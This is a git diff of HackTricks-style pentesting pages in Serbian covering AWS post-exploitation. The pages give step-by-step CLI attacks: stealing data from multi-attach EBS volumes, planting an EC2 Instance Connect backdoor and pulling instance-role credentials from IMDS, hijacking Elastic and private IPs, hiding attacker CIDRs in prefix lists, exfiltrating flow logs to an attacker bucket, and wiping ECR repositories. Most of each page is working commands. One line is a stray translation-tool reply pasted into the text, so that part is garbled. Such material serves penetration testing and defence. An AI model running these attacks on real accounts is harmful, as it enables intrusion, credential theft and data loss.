+--availability-zone $AZ \
+--multi-attach-enabled \
+--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
+--query 'VolumeId' --output text)
+
+# Attach to victim instance
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
+```
+Na žrtvi, format/mount the new volume i upišite osetljive podatke (ilustrativno):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkfs.ext4 -F "$DEV"
+sudo mkdir -p /mnt/shared
+sudo mount "$DEV" /mnt/shared
+echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
+sudo sync
+```
+## Prikačite isti volume na instancu napadača
+```bash
+aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
+```
+## Montiraj samo za čitanje na attacker i pročitaj podatke
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
+sudo mkdir -p /mnt/steal
+sudo mount -o ro,noload "$DEV" /mnt/steal
+sudo cat /mnt/steal/secret.txt
+```
+Očekivani rezultat: Isti `VOL_ID` prikazuje više `Attachments` (victim and attacker) i attacker može da pročita fajlove koje je victim napisao bez kreiranja bilo kakvog snapshota.
+```bash
+aws ec2 describe-volumes --volume-ids $VOL_ID \
+--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
+```
+<details>
+<summary>Pomoć: pronađite NVMe putanju uređaja po ID-u volumena</summary>
+
+Na Nitro instancama, koristite stabilnu by-id putanju koja sadrži ID volumena (uklonite crticu nakon `vol`):
+```bash
+VOLNOHYP="vol${VOL_ID#vol-}"
+ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
+# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
+```
+</details>
+
+## Impact
+- Neposredan pristup za čitanje živih podataka na ciljnom EBS volumenu bez kreiranja snapshots.
+- Ako je montiran u režimu čitanja i pisanja, napadač može manipulisati datotečnim sistemom žrtve (rizik od korupcije).
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md

@@ -0,0 +1,113 @@
+# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Zloupotrebite EC2 Instance Connect Endpoint (EIC Endpoint) da dobijete dolazni SSH pristup privatnim EC2 instancama (bez javnog IP/bastion) tako što:
+- Kreirate EIC Endpoint unutar ciljne subnet
+- Dozvolite dolazni SSH na ciljni SG sa EIC Endpoint SG
+- Ubrizgate kratkotrajan javni SSH ključ (važi ~60 sekundi) pomoću `ec2-instance-connect:SendSSHPublicKey`
+- Otvorite EIC tunel i pivotirate na instancu da biste ukrali kredencijale instance profile-a iz IMDS
+
+Impact: prikriven put za daljinski pristup privatnim EC2 instancama koji zaobilazi bastione i ograničenja javnih IP-ova. Napadač može preuzeti instance profile i delovati u nalogu.
+
+## Zahtevi
+- Dozvole za:
+- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
+- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
+- Ciljna Linux instanca sa SSH serverom i EC2 Instance Connect omogućenim (Amazon Linux 2 ili Ubuntu 20.04+). Podrazumevani korisnici: `ec2-user` (AL2) ili `ubuntu` (Ubuntu).
+
+## Varijable
+```bash
+export REGION=us-east-1
+export INSTANCE_ID=<i-xxxxxxxxxxxx>
+export SUBNET_ID=<subnet-xxxxxxxx>
+export VPC_ID=<vpc-xxxxxxxx>
+export TARGET_SG_ID=<sg-of-target-instance>
+export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
+# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
+export OS_USER=ec2-user
+```
+## Kreiraj EIC Endpoint
+```bash
+aws ec2 create-instance-connect-endpoint \
+--subnet-id "$SUBNET_ID" \
+--security-group-ids "$ENDPOINT_SG_ID" \
+--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
+--region "$REGION" \
+--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
+
+# Wait until ready
+while true; do
+aws ec2 describe-instance-connect-endpoints \
+--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
+--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
+grep -q 'create-complete' EIC_STATE && break
+sleep 5
+done
+```
+## Dozvoli saobraćaj sa EIC Endpoint-a ka ciljnoj instanci
+```bash
+aws ec2 authorize-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+```
+## Ubaci privremeni SSH ključ i otvori tunel
+```bash
+# Generate throwaway key
+ssh-keygen -t ed25519 -f /tmp/eic -N ''
+
+# Send short-lived SSH pubkey (valid ~60s)
+aws ec2-instance-connect send-ssh-public-key \
+--instance-id "$INSTANCE_ID" \
+--instance-os-user "$OS_USER" \
+--ssh-public-key file:///tmp/eic.pub \
+--region "$REGION"
+
+# Open a local tunnel to instance:22 via the EIC Endpoint
+aws ec2-instance-connect open-tunnel \
+--instance-id "$INSTANCE_ID" \
+--instance-connect-endpoint-id "$(cat EIC_ID)" \
+--local-port 2222 --remote-port 22 --region "$REGION" &
+TUN_PID=$!; sleep 2
+
+# SSH via the tunnel (within the 60s window)
+ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
+```
+## Post-exploitation dokaz (steal instance profile credentials)
+```bash
+# From the shell inside the instance
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
+curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
+```
+I don't have the contents of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md. Please paste the markdown/html content you want translated (including tags/paths), and I will return the Serbian translation while preserving all markdown, links and tags exactly.
+```json
+{
+"Code": "Success",
+"AccessKeyId": "ASIA...",
+"SecretAccessKey": "w0G...",
+"Token": "IQoJ...",
+"Expiration": "2025-10-08T04:09:52Z"
+}
+```
+Koristite ukradene creds lokalno da potvrdite identitet:
+```bash
+export AWS_ACCESS_KEY_ID=<AccessKeyId>
+export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
+export AWS_SESSION_TOKEN=<Token>
+aws sts get-caller-identity --region "$REGION"
+# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
+```
+## Čišćenje
+```bash
+# Revoke SG ingress on the target
+aws ec2 revoke-security-group-ingress \
+--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
+--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
+
+# Delete EIC Endpoint
+aws ec2 delete-instance-connect-endpoint \
+--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
+```
+> Napomene
+> - Injektovani SSH ključ važi samo ~60 sekundi; pošaljite ključ odmah pre otvaranja tunela/SSH.
+> - `OS_USER` mora odgovarati AMI-ju (npr. `ubuntu` za Ubuntu, `ec2-user` za Amazon Linux 2).

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eip-hijack-impersonation.md

@@ -0,0 +1,52 @@
+# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Sažetak
+
+Zloupotrebite `ec2:AssociateAddress` (i opciono `ec2:DisassociateAddress`) da ponovo povežete Elastic IP (EIP) sa žrtvine instance/ENI na napadačevu instancu/ENI. Ovo preusmerava dolazni saobraćaj namenjen EIP-u ka napadaču i takođe omogućava napadaču da inicira odlazni saobraćaj sa allowlisted javnom IP adresom kako bi zaobišao external partner firewalls.
+
+## Preduslovi
+- ID alokacije ciljnog EIP-a u istom nalogu/VPC.
+- Napadačka instanca/ENI pod vašom kontrolom.
+- Dozvole:
+- `ec2:DescribeAddresses`
+- `ec2:AssociateAddress` na EIP allocation-id i na napadačkoj instanci/ENI
+- `ec2:DisassociateAddress` (opciono). Napomena: `--allow-reassociation` će automatski disassociate-ovati od prethodnog attachment-a.
+
+## Napad
+
+Promenljive
+```bash
+REGION=us-east-1
+ATTACKER_INSTANCE=<i-attacker>
+VICTIM_INSTANCE=<i-victim>
+```
+1) Dodelite ili identifikujte EIP žrtve (laboratorija dodeljuje novi i prikači ga žrtvi)
+```bash
+ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
+EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
+```
+2) Proverite da li se EIP trenutno usmerava na ciljni servis (npr. provere za banner)
+```bash
+curl -sS http://$EIP | grep -i victim
+```
+3) Ponovo pridružite EIP napadaču (automatski se odspaja od žrtve)
+```bash
+aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
+```
+4) Proverite da li EIP sada pokazuje na attacker service
+```bash
+sleep 5; curl -sS http://$EIP | grep -i attacker
+```
+Dokazi (premeštena asocijacija):
+```bash
+aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
+--query Addresses[0].AssociationId --output text
+```
+## Uticaj
+- Inbound impersonation: Sav saobraćaj ka otetom EIP-u se isporučuje na napadačevu instancu/ENI.
+- Outbound impersonation: Napadač može inicirati saobraćaj koji izgleda kao da potiče od allowlisted javne IP adrese (korisno za zaobilaženje partner/spoljnih filtera po IP adresi izvora).
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-eni-secondary-ip-hijack.md

@@ -0,0 +1,50 @@
+# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Iskoristite `ec2:UnassignPrivateIpAddresses` i `ec2:AssignPrivateIpAddresses` da ukradete sekundarnu privatnu IP adresu žrtvinog ENI-ja i premestite je na ENI napadača u istoj subnet/AZ. Mnoge interne usluge i security groups ograničavaju pristup po specifičnim privatnim IP adresama. Premestivši tu sekundarnu adresu, napadač se predstavlja kao trusted host na L3 i može pristupiti allowlisted servisima.
+
+Preduslovi:
+- Potrebne dozvole: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` na victim ENI ARN, i `ec2:AssignPrivateIpAddresses` na attacker ENI ARN.
+- Oba ENI-ja moraju biti u istom subnetu/AZ. Ciljana adresa mora biti sekundarna IP (primary cannot be unassigned).
+
+Variables:
+- REGION=us-east-1
+- VICTIM_ENI=<eni-xxxxxxxx>
+- ATTACKER_ENI=<eni-yyyyyyyy>
+- PROTECTED_SG=<sg-protected>   # SG na ciljnoj usluzi koja dozvoljava samo $HIJACK_IP
+- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
+
+Koraci:
+1) Izaberite sekundarnu IP adresu sa žrtvinog ENI-ja
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
+export HIJACK_IP=$(cat HIJACK_IP)
+```
+2) Osigurajte da zaštićeni host dozvoljava samo tu IP adresu (idempotentno). Ako umesto toga koristite SG-to-SG pravila, preskočite.
+```bash
+aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80   --cidr "$HIJACK_IP/32" --region $REGION || true
+```
+3) Osnovna provera: from attacker instance, zahtev ka PROTECTED_HOST bi trebalo da ne uspe bez spoofed source (npr. preko SSM/SSH)
+```bash
+curl -sS --max-time 3 http://$PROTECTED_HOST || true
+```
+4) Uklonite sekundarnu IP adresu sa victim ENI
+```bash
+aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+5) Dodeli istu IP adresu attacker ENI-ju (na AWS CLI v1 dodaj `--allow-reassignment`)
+```bash
+aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI   --private-ip-addresses $HIJACK_IP --region $REGION
+```
+6) Potvrdite da je vlasništvo prebačeno
+```bash
+aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION   --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
+```
+7) Sa attacker instance, source-bind to the hijacked IP da biste pristupili zaštićenom hostu (osigurajte da je IP konfigurisan na OS-u; ako nije, dodajte ga pomoću `ip addr add $HIJACK_IP/<mask> dev eth0`)
+```bash
+curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
+```
+## Uticaj
+- Zaobiđite liste dozvoljenih IP adresa i lažno se predstavite kao pouzdani hostovi unutar VPC premještanjem sekundarnih privatnih IP adresa između ENIs u istom subnet/AZ.
+- Pristupite internim servisima koji ograničavaju pristup na osnovu specifičnih izvorišnih IP adresa, čime omogućavate lateralno kretanje i pristup podacima.

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-managed-prefix-list-backdoor.md

@@ -0,0 +1,72 @@
+# AWS - Security Group Backdoor via Managed Prefix Lists
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Sažetak
+Zloupotrebite customer-managed Prefix Lists da kreirate prikriveni put pristupa. Ako pravilo Security Group (SG) referencira managed Prefix List, svako ko ima mogućnost da izmeni tu listu može tiho dodati attacker-controlled CIDRs. Svaki SG (i potencijalno Network ACL ili VPC endpoint) koji referencira listu odmah dozvoljava nove opsege bez vidljive promene u SG-u.
+
+## Uticaj
+- Instant proširenje dozvoljenih IP opsega za sve SG-ove koji referenciraju prefix listu, zaobilaženje kontrola promena koje nadgledaju samo izmene SG-a.
+- Omogućava postojane ingress/egress backdoore: držite maliciozni CIDR sakriven u prefix listi dok pravilo SG izgleda nepromenjeno.
+
+## Zahtevi
+- IAM permissions:
+- `ec2:DescribeManagedPrefixLists`
+- `ec2:GetManagedPrefixListEntries`
+- `ec2:ModifyManagedPrefixList`
+- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (to identify attached SGs)
+- Optional: `ec2:CreateManagedPrefixList` if creating a new one for testing.
+- Okruženje: najmanje jedno pravilo SG-a koje referencira ciljnu customer-managed Prefix List.
+
+## Varijable
+```bash
+REGION=us-east-1
+PREFIX_LIST_ID=<pl-xxxxxxxx>
+ENTRY_CIDR=<attacker-cidr/32>
+DESCRIPTION="Backdoor – allow attacker"
+```
+## Koraci napada
+
+1) **Enumeriši kandidatske prefix lists i njihove korisnike**
+```bash
+aws ec2 describe-managed-prefix-lists \
+--region "$REGION" \
+--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
+--output table
+
+aws ec2 get-managed-prefix-list-entries \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--region "$REGION" \
+--query 'Entries[*].[Cidr,Description]'
+```
+Koristite `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` da potvrdite koja SG pravila zavise od liste.
+
+2) **Dodajte CIDR napadača u prefix listu**
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
+--region "$REGION"
+```
+3) **Potvrdite propagaciju u security groups**
+```bash
+aws ec2 describe-security-group-rules \
+--region "$REGION" \
+--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
+--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
+--output table
+```
+Saobraćaj sa `$ENTRY_CIDR` je sada dozvoljen svuda gde se referencira prefix list (obično u outbound pravilima na egress proxy-ima ili u inbound pravilima na deljenim servisima).
+
+## Dokazi
+- `get-managed-prefix-list-entries` prikazuje CIDR napadača i opis.
+- `describe-security-group-rules` i dalje prikazuje originalno SG pravilo koje referencira prefix listu (nije zabeležena izmena SG-a), ipak saobraćaj iz novog CIDR-a uspeva.
+
+## Čišćenje
+```bash
+aws ec2 modify-managed-prefix-list \
+--prefix-list-id "$PREFIX_LIST_ID" \
+--remove-entries Cidr="$ENTRY_CIDR" \
+--region "$REGION"
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-endpoint-egress-bypass.md

@@ -0,0 +1,68 @@
+# AWS – Egress Bypass from Isolated Subnets via VPC Endpoints
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Sažetak
+
+Ova tehnika zloupotrebljava VPC Endpoints da kreira exfiltration kanale iz subneta koji nemaju Internet Gateways ili NAT. Gateway endpoints (npr. S3) dodaju prefix‑list rute u subnet route tables; Interface endpoints (npr. execute-api, secretsmanager, ssm, itd.) kreiraju dostupne ENIs sa private IPs zaštićenim security groups. Sa minimalnim VPC/EC2 dozvolama, napadač može omogućiti kontrolisani egress koji ne prolazi preko javnog Interneta.
+
+> Preduslovi: postojeći VPC i private subnets (bez IGW/NAT). Potrebne su dozvole za kreiranje VPC endpoints i, za Option B, security group za prikačenje na endpoint ENIs.
+
+## Opcija A – S3 Gateway VPC Endpoint
+
+**Varijable**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `RTB_IDS=<comma-separated route table IDs of private subnets>`
+
+1) Create a permissive endpoint policy file (optional). Save as `allow-put-get-any-s3.json`:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
+}
+```
+2) Kreirajte S3 Gateway endpoint (dodaje S3 prefix‑list rutu u odabrane tabele ruta):
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.s3 \
+--vpc-endpoint-type Gateway \
+--route-table-ids $RTB_IDS \
+--policy-document file://allow-put-get-any-s3.json   # optional
+```
+Dokazi za prikupljanje:
+- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` prikazuje rutu do AWS S3 prefix liste (npr., `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
+- Sa instance u tim podmrežama (sa IAM perms) možete exfil via S3 without Internet:
+```bash
+# On the isolated instance (e.g., via SSM):
+echo data > /tmp/x.txt
+aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
+```
+## Option B – Interface VPC Endpoint for API Gateway (execute-api)
+
+**Promenljive**
+- `REGION=us-east-1`
+- `VPC_ID=<target vpc>`
+- `SUBNET_IDS=<comma-separated private subnets>`
+- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
+
+1) Kreirajte interface endpoint i prikačite SG:
+```bash
+aws ec2 create-vpc-endpoint \
+--vpc-id $VPC_ID \
+--service-name com.amazonaws.$REGION.execute-api \
+--vpc-endpoint-type Interface \
+--subnet-ids $SUBNET_IDS \
+--security-group-ids $SG_VPCE \
+--private-dns-enabled
+```
+Dokazi koje treba prikupiti:
+- `aws ec2 describe-vpc-endpoints` prikazuje endpoint u stanju `available` sa `NetworkInterfaceIds` (ENIs u vašim podmrežama).
+- Instance u tim podmrežama mogu da pristupe Private API Gateway endpoint-ima kroz te VPCE ENI-je (nije potreban Internet put).
+
+## Uticaj
+- Zaobilazi perimeter egress kontrole koristeći AWS‑managed privatne puteve ka AWS servisima.
+- Omogućava eksfiltraciju podataka iz izolovanih podmreža (npr. pisanje u S3; pozivanje Private API Gateway; pristup Secrets Manager/SSM/STS itd.) bez IGW/NAT.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-vpc-flow-logs-cross-account-exfiltration.md

@@ -0,0 +1,74 @@
+# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Sažetak
+Zloupotrebite `ec2:CreateFlowLogs` da izvezete VPC, subnet, ili ENI flow logs direktno u napadačev S3 bucket. Kada je delivery role konfigurisana da piše u eksterni bucket, svaka konekcija koja se vidi na nadgledanom resursu se strimuje iz naloga žrtve.
+
+## Zahtevi
+- Principal žrtve: `ec2:CreateFlowLogs`, `ec2:DescribeFlowLogs`, i `iam:PassRole` (ako je delivery role potreban/kreiran).
+- Napadačev bucket: S3 politika koja veruje `delivery.logs.amazonaws.com` i dodeljuje `s3:PutObject` i `bucket-owner-full-control`.
+- Opcionalno: `logs:DescribeLogGroups` ako se izvozi u CloudWatch umesto u S3 (nije potrebno ovde).
+
+## Koraci napada
+
+1) **Attacker** priprema S3 bucket politiku (u nalogu napadača) koja dozvoljava VPC Flow Logs delivery servisu da upisuje objekte. Zamenite placeholder-e pre primene:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowVPCFlowLogsDelivery",
+"Effect": "Allow",
+"Principal": { "Service": "delivery.logs.amazonaws.com" },
+"Action": "s3:PutObject",
+"Resource": "arn:aws:s3:::<attacker-bucket>/flowlogs/*",
+"Condition": {
+"StringEquals": { "s3:x-amz-acl": "bucket-owner-full-control" }
+}
+}
+]
+}
+```
+Primeni sa naloga napadača:
+```bash
+aws s3api put-bucket-policy \
+--bucket <attacker-bucket> \
+--policy file://flowlogs-policy.json
+```
+2) **Victim** (compromised principal) kreira flow logs koji su usmereni ka attacker bucket:
+```bash
+REGION=us-east-1
+VPC_ID=<vpc-xxxxxxxx>
+ROLE_ARN=<delivery-role-with-logs-permissions>   # Must allow delivery.logs.amazonaws.com to assume it
+aws ec2 create-flow-logs \
+--resource-type VPC \
+--resource-ids "$VPC_ID" \
+--traffic-type ALL \
+--log-destination-type s3 \
+--log-destination arn:aws:s3:::<attacker-bucket>/flowlogs/ \
+--deliver-logs-permission-arn "$ROLE_ARN" \
+--region "$REGION"
+```
+U roku od nekoliko minuta, flow log files se pojavljuju u attacker bucket i sadrže konekcije za sve ENIs u nadgledanom VPC/subnet.
+
+## Dokazi
+
+Primer flow log records zapisanih u attacker bucket:
+```text
+version account-id interface-id srcaddr dstaddr srcport dstport protocol packets bytes start end action log-status
+2 947247140022 eni-074cdc68182fb7e4d 52.217.123.250 10.77.1.240 443 48674 6 2359 3375867 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 52.217.123.250 48674 443 6 169 7612 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 54.231.199.186 10.77.1.240 443 59604 6 34 33539 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 10.77.1.240 54.231.199.186 59604 443 6 18 1726 1759874460 1759874487 ACCEPT OK
+2 947247140022 eni-074cdc68182fb7e4d 16.15.204.15 10.77.1.240 443 57868 6 162 1219352 1759874460 1759874487 ACCEPT OK
+```
+Dokaz listanja Bucket-a:
+```bash
+aws s3 ls s3://<attacker-bucket>/flowlogs/ --recursive --human-readable --summarize
+```
+## Uticaj
+- Kontinuirana exfiltration mrežnih metapodataka (IP adrese izvora/destinacije, portovi, protokoli) za nadgledani VPC/subnet/ENI.
+- Omogućava analizu saobraćaja, identifikaciju osetljivih servisa i potencijalno hunting za security group misconfigurations izvan kompromitovanog naloga.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md

@@ -1,92 +0,0 @@
-# AWS - ECR Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Za više informacija proverite
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Prijava, Preuzimanje & Postavljanje
-```bash
-# Docker login into ecr
-## For public repo (always use us-east-1)
-aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
-## For private repo
-aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
-## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
-
-# Download
-docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
-## If you still have the error "Requested image not found"
-## It might be because the tag "latest" doesn't exit
-## Get valid tags with:
-TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
-curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
-
-# Inspect the image
-docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
-
-# Upload (example uploading purplepanda with tag latest)
-docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
-
-# Downloading without Docker
-# List digests
-aws ecr batch-get-image --repository-name level2 \
---registry-id 653711331788 \
---image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
-
-## Download a digest
-aws ecr get-download-url-for-layer \
---repository-name level2 \
---registry-id 653711331788 \
---layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
-```
-Nakon preuzimanja slika, trebali biste **proveriti ih na osetljive informacije**:
-
-{{#ref}}
-https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
-{{#endref}}
-
-### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage`
-
-Napadač sa bilo kojim od ovih dozvola može **kreirati ili izmeniti politiku životnog ciklusa da obriše sve slike u repozitorijumu** i zatim **obrisati ceo ECR repozitorijum**. To bi rezultiralo gubitkom svih kontejnerskih slika koje se čuvaju u repozitorijumu.
-```bash
-bashCopy code# Create a JSON file with the malicious lifecycle policy
-echo '{
-"rules": [
-{
-"rulePriority": 1,
-"description": "Delete all images",
-"selection": {
-"tagStatus": "any",
-"countType": "imageCountMoreThan",
-"countNumber": 0
-},
-"action": {
-"type": "expire"
-}
-}
-]
-}' > malicious_policy.json
-
-# Apply the malicious lifecycle policy to the ECR repository
-aws ecr put-lifecycle-policy --repository-name your-ecr-repo-name --lifecycle-policy-text file://malicious_policy.json
-
-# Delete the ECR repository
-aws ecr delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete the ECR public repository
-aws ecr-public delete-repository --repository-name your-ecr-repo-name --force
-
-# Delete multiple images from the ECR repository
-aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-
-# Delete multiple images from the ECR public repository
-aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md

@@ -0,0 +1,210 @@
+# AWS - ECR Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Za više informacija pogledajte
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Login, Pull & Push
+```bash
+# Docker login into ecr
+## For public repo (always use us-east-1)
+aws ecr-public get-login-password --region us-east-1 | docker login --username AWS --password-stdin public.ecr.aws/<random-id>
+## For private repo
+aws ecr get-login-password --profile <profile_name> --region <region> | docker login --username AWS --password-stdin <account_id>.dkr.ecr.<region>.amazonaws.com
+## If you need to acces an image from a repo if a different account, in <account_id> set the account number of the other account
+
+# Download
+docker pull <account_id>.dkr.ecr.<region>.amazonaws.com/<repo_name>:latest
+## If you still have the error "Requested image not found"
+## It might be because the tag "latest" doesn't exit
+## Get valid tags with:
+TOKEN=$(aws --profile <profile> ecr get-authorization-token --output text --query 'authorizationData[].authorizationToken')
+curl -i -H "Authorization: Basic $TOKEN" https://<account_id>.dkr.ecr.<region>.amazonaws.com/v2/<img_name>/tags/list
+
+# Inspect the image
+docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0
+docker inspect <account id>.dkr.ecr.<region>.amazonaws.com/<image>:<tag> # Inspect the image indicating the URL
+
+# Upload (example uploading purplepanda with tag latest)
+docker tag purplepanda:latest <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+docker push <account_id>.dkr.ecr.<region>.amazonaws.com/purplepanda:latest
+
+# Downloading without Docker
+# List digests
+aws ecr batch-get-image --repository-name level2 \
+--registry-id 653711331788 \
+--image-ids imageTag=latest | jq '.images[].imageManifest | fromjson'
+
+## Download a digest
+aws ecr get-download-url-for-layer \
+--repository-name level2 \
+--registry-id 653711331788 \
+--layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a"
+```
